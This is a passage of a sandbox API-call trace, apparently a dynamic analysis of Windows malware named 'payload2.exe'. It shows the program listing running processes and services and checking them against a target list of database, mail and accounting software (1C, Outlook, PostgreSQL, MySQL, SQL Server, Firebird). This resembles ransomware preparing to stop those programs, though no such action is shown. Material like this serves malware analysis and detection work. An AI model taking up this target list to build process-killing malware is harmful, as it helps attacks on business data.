(lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0269.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0269.376] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0269.376] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0269.376] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0269.376] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0269.376] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0269.376] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.377] lstrlenW (lpString="wininit.exe") returned 11 [0269.377] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0269.377] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0269.377] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0269.377] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0269.377] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0269.377] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0269.377] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0269.377] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.377] lstrlenW (lpString="csrss.exe") returned 9 [0269.377] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0269.377] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0269.377] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0269.377] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0269.377] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0269.377] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0269.378] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0269.378] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.378] lstrlenW (lpString="winlogon.exe") returned 12 [0269.378] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0269.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0269.378] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0269.378] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0269.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0269.378] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0269.378] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0269.378] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.379] lstrlenW (lpString="services.exe") returned 12 [0269.379] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0269.379] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0269.379] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0269.379] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0269.379] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0269.379] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0269.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0269.379] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.379] lstrlenW (lpString="lsass.exe") returned 9 [0269.379] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0269.379] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0269.379] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0269.379] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0269.379] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0269.379] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0269.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0269.379] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0269.380] lstrlenW (lpString="lsm.exe") returned 7 [0269.380] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0269.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0269.380] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0269.380] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0269.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0269.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0269.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0269.380] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.380] lstrlenW (lpString="svchost.exe") returned 11 [0269.380] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0269.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0269.380] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0269.380] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0269.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0269.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0269.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0269.380] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.380] lstrlenW (lpString="svchost.exe") returned 11 [0269.380] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0269.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0269.381] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.381] lstrlenW (lpString="svchost.exe") returned 11 [0269.381] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0269.381] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.381] lstrlenW (lpString="svchost.exe") returned 11 [0269.381] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0269.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0269.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0269.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0269.382] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.382] lstrlenW (lpString="svchost.exe") returned 11 [0269.382] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0269.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0269.382] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0269.382] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0269.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0269.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0269.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0269.382] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.382] lstrlenW (lpString="audiodg.exe") returned 11 [0269.383] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0269.383] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.383] lstrlenW (lpString="svchost.exe") returned 11 [0269.383] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.383] lstrlenW (lpString="svchost.exe") returned 11 [0269.383] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0269.383] lstrlenW (lpString="userinit.exe") returned 12 [0269.383] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.384] lstrlenW (lpString="dwm.exe") returned 7 [0269.384] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.384] lstrlenW (lpString="explorer.exe") returned 12 [0269.384] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.384] lstrlenW (lpString="spoolsv.exe") returned 11 [0269.384] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.385] lstrlenW (lpString="taskhost.exe") returned 12 [0269.385] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.385] lstrlenW (lpString="svchost.exe") returned 11 [0269.385] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0269.385] lstrlenW (lpString="payload2.exe") returned 12 [0269.385] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0269.385] lstrlenW (lpString="reader_sl.exe") returned 13 [0269.385] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0269.386] lstrlenW (lpString="dllhost.exe") returned 11 [0269.386] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0269.386] CloseHandle (hObject=0x2f4) returned 1 [0269.386] Sleep (dwMilliseconds=0x1f4) [0269.939] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280910 [0269.947] EnumServicesStatusExW (in: hSCManager=0x4280910, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0269.947] GetLastError () returned 0xea [0269.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc9a) returned 0x4237fc8 [0269.947] EnumServicesStatusExW (in: hSCManager=0x4280910, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4237fc8, cbBufSize=0xc9a, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4237fc8, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0269.947] CloseServiceHandle (hSCObject=0x4280910) returned 1 [0269.947] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0269.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.947] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0269.947] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0269.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0269.947] lstrlenW (lpString="AudioSrv") returned 8 [0269.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0269.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0269.948] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0269.948] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0269.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0269.948] lstrlenW (lpString="BFE") returned 3 [0269.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0269.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0269.948] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0269.948] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0269.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0269.948] lstrlenW (lpString="CryptSvc") returned 8 [0269.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0269.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0269.948] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0269.948] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0269.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0269.948] lstrlenW (lpString="CscService") returned 10 [0269.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0269.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0269.949] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0269.949] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0269.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0269.949] lstrlenW (lpString="DcomLaunch") returned 10 [0269.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.949] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0269.949] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0269.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0269.949] lstrlenW (lpString="Dhcp") returned 4 [0269.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0269.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0269.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0269.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0269.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0269.949] lstrlenW (lpString="Dnscache") returned 8 [0269.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0269.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0269.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0269.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0269.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0269.949] lstrlenW (lpString="DPS") returned 3 [0269.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0269.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0269.949] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0269.949] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0269.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0269.949] lstrlenW (lpString="eventlog") returned 8 [0269.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0269.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0269.949] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0269.950] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0269.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0269.950] lstrlenW (lpString="EventSystem") returned 11 [0269.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0269.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0269.950] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0269.950] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0269.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0269.950] lstrlenW (lpString="gpsvc") returned 5 [0269.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0269.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0269.950] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0269.950] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0269.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0269.950] lstrlenW (lpString="LanmanWorkstation") returned 17 [0269.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.950] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0269.950] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0269.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0269.950] lstrlenW (lpString="lmhosts") returned 7 [0269.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0269.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0269.950] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0269.950] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0269.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0269.950] lstrlenW (lpString="MMCSS") returned 5 [0269.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0269.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0269.951] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0269.951] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0269.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0269.951] lstrlenW (lpString="MpsSvc") returned 6 [0269.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0269.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0269.951] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0269.951] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0269.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0269.951] lstrlenW (lpString="NlaSvc") returned 6 [0269.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0269.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0269.951] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0269.951] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0269.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0269.951] lstrlenW (lpString="nsi") returned 3 [0269.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0269.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0269.951] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0269.951] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0269.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0269.951] lstrlenW (lpString="PcaSvc") returned 6 [0269.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0269.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0269.951] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0269.951] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0269.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0269.951] lstrlenW (lpString="PlugPlay") returned 8 [0269.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0269.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0269.951] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0269.952] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0269.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0269.952] lstrlenW (lpString="Power") returned 5 [0269.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0269.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0269.952] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0269.952] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0269.952] 